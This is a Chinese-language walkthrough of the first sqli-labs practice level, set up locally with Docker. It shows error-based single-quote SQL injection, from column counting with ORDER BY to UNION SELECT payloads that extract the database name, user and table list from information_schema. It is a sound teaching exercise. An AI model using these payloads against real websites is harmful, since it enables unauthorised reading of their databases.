sqli-labs過關write up記錄(Page-1)

sqli-labs靶機搭建

docker部署:

docker pull acgpiano/sqli-labs

docker run -d -p 80:80 acgpiano/sqli-labs

訪問127.0.0.1後,點擊Setup/reset Database for labs

Less-1 GET - Error based - Single quotes - String

(基於錯誤的GET單引號字符型注入)

基於報錯--猜解SQL語句

訪問http://127.0.0.1/Less-1/?id=1'報錯:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

'1'' LIMIT 0,1猜測SQL語句:

SELECT ... FROM ... WHERE id='1' LIMIT 0,1


//源代碼中
SELECT * FROM users WHERE id='$id' LIMIT 0,1

手工注入

0x01 order by猜解表的列數

SELECT * FROM users WHERE id='1' order by 1 -- ' LIMIT 0,1

這個SQL語句的意思是查詢users表中id爲1的數據並按第一字段排行。當order by後面的數字大於表的列數時就會報錯

訪問http://127.0.0.1/Less-1/?id=1' order by 3--+頁面正常,
訪問http://127.0.0.1/Less-1/?id=1' order by 4--+頁面異常:

clipboard.png
所以users這個表有3個字段。

0x02 聯合查詢獲取信息

union 運算符可以將兩個或兩個以上 select 語句的查詢結果集合合併成一個結果集合顯示,即執行聯合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數相同,這就是爲什麼要先猜解列數。

  • 查看回顯位:

2、3處回顯

http://127.0.0.1/Less-1/?id=-1' UNION SELECT 1,2,3 --+

clipboard.png

  • 獲取數據
version()            #MySQL版本
user()               #數據庫用戶名
database()           #數據庫名
@@datadir            #數據庫路徑
@@version_compile_os #操作系統版本
http://127.0.0.1/Less-1/?id=-1' UNION SELECT 1,database(),user() --+

得到數據庫名字security,用戶root@localhost

clipboard.png

http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

得到各表名
clipboard.png

請輸入代碼
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章